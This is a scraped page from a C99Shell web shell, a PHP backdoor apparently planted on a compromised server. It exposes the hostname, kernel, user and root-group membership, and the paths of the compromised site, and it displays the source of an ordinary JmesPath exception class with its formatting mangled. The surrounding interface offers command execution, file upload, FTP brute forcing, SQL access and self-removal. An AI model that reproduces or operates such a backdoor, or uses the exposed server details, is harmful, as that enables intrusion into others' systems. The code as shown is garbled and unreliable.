!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/mtdowling/jmespath.php/src/   drwxr-xr-x
Free 25.6 GB of 117.98 GB (21.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SyntaxErrorException.php (1.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace JmesPath;

/**
 * Syntax errors raise this exception that gives context
 */
class SyntaxErrorException extends \InvalidArgumentException
{
    
/**
     * @param string $expectedTypesOrMessage Expected array of tokens or message
     * @param array  $token                  Current token
     * @param string $expression             Expression input
     */
    
public function __construct(
        
$expectedTypesOrMessage,
        array 
$token,
        
$expression
    
) {
        
$message sprintf("Syntax error at character %d\n"max($token['pos'], 0))
            . 
$expression "\n" str_repeat(' 'max($token['pos'], 0)) . "^\n";
        
$message .= !is_array($expectedTypesOrMessage)
            ? 
$expectedTypesOrMessage
            
$this->createTokenMessage($token$expectedTypesOrMessage);
        
parent::__construct($message);
    }

    private function 
createTokenMessage(array $token, array $valid)
    {
        return 
sprintf(
            
'Expected one of the following: %s; found %s "%s"',
            
implode(', 'array_keys($valid)),
            
$token['type'],
            
$token['value']
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--